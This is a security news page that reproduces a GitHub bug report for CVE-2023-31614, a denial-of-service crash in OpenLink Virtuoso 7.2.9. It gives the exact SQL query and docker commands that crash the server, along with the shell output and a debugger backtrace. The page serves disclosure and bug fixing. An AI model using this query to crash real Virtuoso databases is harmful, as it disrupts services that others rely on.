Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2023-31614: virtuoso *crashed* after running a SELECT statement · Issue #1117 · openlink/virtuoso-opensource

An issue in the mp_box_deserialize_string function in openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) after running a SELECT statement.

CVE
#sql#linux#dos#docker

Description

When running the following statement on an empty virtuoso-opensource database, the database just crashed:

SELECT table_name as name, ‘TABLE’ as type, ‘’ as parentname FROM information_schema.tables UNION SELECT column_name as name, data_type as type, table_name as parentname FROM information_schema.columns

The Way to Reproduce

Just running the following command to reproduce the crash:

docker run --name virtdb -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9 # start virtuoso through docker sleep 10 # wait the server starting echo “SELECT 1;” | docker exec -i virtdb isql 1111 dba # check whether the simple query works

The command to crash virtuoso

echo “SELECT table_name as name, ‘TABLE’ as type, ‘’ as parentname FROM information_schema.tables UNION SELECT column_name as name, data_type as type, table_name as parentname FROM information_schema.columns;” | docker exec -i virtdb isql 1111 dba

the output in shell:

OpenLink Virtuoso Interactive SQL (Virtuoso)
Version 07.20.3236 as of Feb 27 2023
Type HELP; for help and EXIT; to exit.
Connected to OpenLink Virtuoso
Driver: 07.20.3236 OpenLink Virtuoso ODBC Driver
SQL> 
*** Error 08S01: [Virtuoso Driver]CL065: Lost connection to server
at line 1 of Top-Level:
SELECT table_name as name, 'TABLE' as type, '' as parentname FROM information_schema.tables UNION SELECT column_name as name, data_type as type, table_name as parentname FROM information_schema.columns

You can see the error "Lost connection to server", and the container is stopped due to the abnormal exit of the virtuoso instance.

Backtrace

The backtrace when crash is as follow. I compiled virtuoso-opensource 7.2.9 with debug mode to get it.

Thread 8 "virtuoso-t" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fffdfdb4700 (LWP 1440941)]
0x00000000005533b6 in mp_box_deserialize_string (mp=0x7fffc806bfc0, 
    text=0xe34ce1f37a6c3a64 <error: Cannot access memory at address 0xe34ce1f37a6c3a64>, opt_len=2147483647, offset=0) at regist.c:292
292       switch ((dtp_t)text[0])
(gdb) bt
#0  0x00000000005533b6 in mp_box_deserialize_string (mp=0x7fffc806bfc0, 
    text=0xe34ce1f37a6c3a64 <error: Cannot access memory at address 0xe34ce1f37a6c3a64>, opt_len=2147483647, offset=0) at regist.c:292
#1  0x0000000000427b34 in cha_box_col (cha=0x7fffec416108, ha=0x7fffc8025bf0, row=0x7fffec424720 "k9\241\220(\230\310\r", inx=3)
    at chash.c:2320
#2  0x00000000004253f1 in chash_to_memcache (inst=0x7fffc802b2f8, tree=0x7fffc802a158, ha=0x7fffc8025bf0) at chash.c:2364
#3  0x00000000004278e4 in setp_chash_distinct (setp=0x7fffc8025970, inst=0x7fffc802b2f8) at chash.c:2292
#4  0x0000000000593df7 in setp_node_run (setp=0x7fffc8025970, inst=0x7fffc802b2f8, state=0x7fffc802b2f8, print_blobs=0) at sort.c:385
#5  0x00000000005948c7 in setp_node_input (setp=0x7fffc8025970, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sort.c:606
#6  0x00000000006bb4e3 in qn_input (xx=0x7fffc8025970, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sqlrun.c:982
#7  0x00000000006bb74a in qn_send_output (src=0x7fffc8024ae0, state=0x7fffc802b2f8) at sqlrun.c:1028
#8  0x000000000042b6f8 in hash_source_chash_input (hs=0x7fffc8024ae0, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at chash.c:3233
#9  0x00000000004d268c in hash_source_input (hs=0x7fffc8024ae0, qst=0x7fffc802b2f8, qst_cont=0x7fffc802b2f8) at hash.c:2613
#10 0x00000000006bb4e3 in qn_input (xx=0x7fffc8024ae0, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sqlrun.c:982
#11 0x00000000006bb8e6 in qn_ts_send_output (src=0x7fffc8024400, state=0x7fffc802b2f8, after_join_test=0x0) at sqlrun.c:1059
#12 0x00000000006bf39f in table_source_input (ts=0x7fffc8024400, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sqlrun.c:1991
#13 0x00000000006bb4e3 in qn_input (xx=0x7fffc8024400, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sqlrun.c:982
#14 0x00000000006bb8e6 in qn_ts_send_output (src=0x7fffc80235b0, state=0x7fffc802b2f8, after_join_test=0x0) at sqlrun.c:1059
#15 0x00000000006bf39f in table_source_input (ts=0x7fffc80235b0, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sqlrun.c:1991
#16 0x00000000006bb4e3 in qn_input (xx=0x7fffc80235b0, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sqlrun.c:982
#17 0x0000000000594e55 in union_node_input (un=0x7fffc800f5d0, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sort.c:672
#18 0x000000000066c60f in qr_resume_pending_nodes (subq=0x7fffc8020680, inst=0x7fffc802b2f8) at sqlintrp.c:1185
#19 0x000000000066c923 in subq_next (subq=0x7fffc8020680, inst=0x7fffc802b2f8, cr_state=2) at sqlintrp.c:1243
#20 0x000000000070e52c in subq_node_vec_input (sqs=0x7fffc801dbc0, inst=0x7fffc802b2f8, state=0x0) at sqlvnode.c:702
#21 0x0000000000594a8b in subq_node_input (sqs=0x7fffc801dbc0, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sort.c:691
#22 0x00000000006bb4e3 in qn_input (xx=0x7fffc801dbc0, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sqlrun.c:982
#23 0x00000000006bb74a in qn_send_output (src=0x7fffc80202b0, state=0x7fffc802b2f8) at sqlrun.c:1028
#24 0x0000000000439b1a in chash_fill_input (fref=0x7fffc80202b0, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at chash.c:6013
#25 0x00000000004d3c05 in hash_fill_node_input (fref=0x7fffc80202b0, inst=0x7fffc802b2f8, qst=0x7fffc802b2f8) at hash.c:3253
#26 0x00000000006bb4e3 in qn_input (xx=0x7fffc80202b0, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sqlrun.c:982
#27 0x00000000006bb74a in qn_send_output (src=0x7fffc8027e30, state=0x7fffc802b2f8) at sqlrun.c:1028
#28 0x000000000070e189 in set_ctr_vec_input (sctr=0x7fffc8027e30, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sqlvnode.c:632
#29 0x0000000000596fb4 in set_ctr_input (sctr=0x7fffc8027e30, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sort.c:1319
#30 0x00000000006bb4e3 in qn_input (xx=0x7fffc8027e30, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sqlrun.c:982
#31 0x00000000006c791e in qr_exec (cli=0x7fffc8000e30, qr=0x7fffc801a380, caller=0x2, cr_name=0x7fffc802bdf8 "s1111_1_0", stmt=0x7fffc8018b30, 
    lc_ret=0x0, parms=0x7fffd4021de8, opts=0x7fffd4021f08, named_params=0) at sqlrun.c:4344
#32 0x00000000006d1f5b in sf_sql_execute (stmt_id=0x7fffd4021e08 "s1111_1_0", text=0x72e2658 "\320\b", cursor_name=0x7fffd4021ec8 "s1111_1_0", 
    params=0x7fffd4021ea8, current_ofs=0x7fffd4021dc8, options=0x7fffd4021f08) at sqlsrv.c:2006
#33 0x00000000006d26fe in sf_sql_execute_w (stmt_id=0x7fffd4021e08 "s1111_1_0", text=0x72e2658 "\320\b", 
    cursor_name=0x7fffd4021ec8 "s1111_1_0", params=0x7fffd4021ea8, current_ofs=0x7fffd4021dc8, options=0x7fffd4021f08) at sqlsrv.c:2049
#34 0x00000000006d9620 in sf_sql_execute_wrapper (args=0x7fffdfdb3e30) at sqlsrv.c:3995
#35 0x0000000000b777f6 in future_wrapper (ignore=0x0) at Dkernel.c:1171
#36 0x0000000000b7da94 in _thread_boot (arg=0x7fffd4011370) at sched_pthread.c:296
#37 0x00007ffff7c3a609 in start_thread (arg=<optimized out>) at pthread_create.c:477
--Type <RET> for more, q to quit, c to continue without paging--
#38 0x00007ffff7a0a133 in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95

Related news

Ubuntu Security Notice USN-6832-1

Ubuntu Security Notice 6832-1 - Jingzhou Fu discovered that Virtuoso Open-Source Edition incorrectly handled certain crafted SQL statements. An attacker could possibly use this issue to crash the program, resulting in a denial of service. Jingzhou Fu discovered that Virtuoso Open-Source Edition incorrectly handled certain crafted SQL statements. An attacker could possibly use this issue to crash the program, resulting in a denial of service. This issue only affects Ubuntu 22.04 LTS, Ubuntu 23.10 and Ubuntu 24.04 LTS.

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda
CVE-2023-6905
CVE-2023-6903
CVE-2023-6904
CVE-2023-3907